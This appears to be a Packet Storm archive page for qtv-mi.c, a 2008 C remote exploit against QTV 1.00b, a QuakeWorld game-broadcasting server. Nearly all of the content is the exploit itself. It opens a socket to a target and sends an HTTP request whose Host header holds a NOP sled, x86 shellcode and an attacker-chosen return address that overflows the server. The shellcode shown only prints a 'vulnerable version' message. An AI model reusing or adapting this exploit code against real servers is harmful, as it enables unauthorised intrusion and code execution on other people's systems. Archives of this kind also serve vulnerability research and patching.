exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

qtv-mi.c

qtv-mi.c
Posted Jun 16, 2008
Authored by Oscar Linderholm

Remote exploit for QTV, a tool used for broadcasting QuakeWorld games.

tags | exploit, remote
SHA-256 | 47127f1505c7697ad9e699913c9d553c9bba2efc8023d2a52edf6c5fd97673ba

qtv-mi.c

Change Mirror Download
/*
* mi.c
* Remote exploit for QTV 1.00b and probably earlier versions as well
* QTV URL: http://qw-dev.net/projects/show/qtv
* Example usage: ./mi 127.0.0.1 28000 -559038737
* Copyright Oscar Linderholm, 2008, osclin at gmail
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
int sock, port, offset[4];
char payload[120], *qtv;
long temp;
struct sockaddr_in addr;

if (argc != 4)
{
printf("Usage: %s <QTV ip> <port> <offset>\n", argv[0]);
return 0;
}

qtv = argv[1];
port = atoi(argv[2]);
temp = atol(argv[3]);

offset[0] = temp << 24 >> 24;
offset[1] = temp << 16 >> 24;
offset[2] = temp << 8 >> 24;
offset[3] = temp >> 24;

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket");
return -1;
}

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(qtv);
addr.sin_port = htons(port);
memset(addr.sin_zero, '\0', sizeof(addr.sin_zero));

if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1)
{
perror("connect");
return -1;
}

memset(payload, '\0', 120);
sprintf(payload, "\x47\x45\x54\x20\x2f\x77\x61\x74\x63\x68\x2e\x71"
"\x74\x76\x3f\x73\x69\x64\x3d\x31\x0d\x0a\x48\x6f"
"\x73\x74\x3a\x20\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb"
"\x13\x59\x29\xc0\xb0\x04\x29\xdb\x43\x29\xd2\xb2"
"\x17\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xe8\xff\xff"
"\xff\x56\x75\x6c\x6e\x65\x72\x61\x62\x6c\x65\x20"
"\x76\x65\x72\x73\x69\x6f\x6e\x20\x51\x54\x56\x0a"
"%c%c%c%c\x0d\x0a\x0d\x0a",
offset[0], offset[1], offset[2], offset[3]);

send(sock, payload, 116, 0);
close(sock);

return 0;
}
Login or Register to add favorites

File Archive:

November 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    1 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    0 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    219 Files
  • 14
    Nov 14th
    19 Files
  • 15
    Nov 15th
    66 Files
  • 16
    Nov 16th
    38 Files
  • 17
    Nov 17th
    9 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    11 Files
  • 22
    Nov 22nd
    56 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    36 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    14 Files
  • 28
    Nov 28th
    30 Files
  • 29
    Nov 29th
    35 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close